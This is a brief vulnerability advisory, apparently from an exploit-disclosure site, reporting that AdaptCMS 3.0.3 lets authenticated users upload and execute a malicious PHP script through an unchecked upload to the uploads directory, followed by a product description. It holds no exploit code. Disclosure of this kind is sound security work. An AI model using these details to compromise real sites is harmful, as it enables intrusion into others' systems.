Authored by LiquidWorm | Site zeroscience.mk

AdaptCMS version 3.0.3 suffers from an authenticated arbitrary command execution vulnerability. The issue is caused due to the improper verification of uploaded files. This can be exploited to execute arbitrary PHP code by creating or uploading a malicious PHP script file that will be stored in '\app\webroot\uploads' directory.

#
# Summary: AdaptCMS is a Content Management System trying
# to be both simple and easy to use, as well as very agile
# and extendable. Not only so we can easily create Plugins
# or additions, but so other developers can get involved.

# plugin system and MVC setup, allowing us to focus on the
# details and end-users to focus on building their website
# to look and feel great.
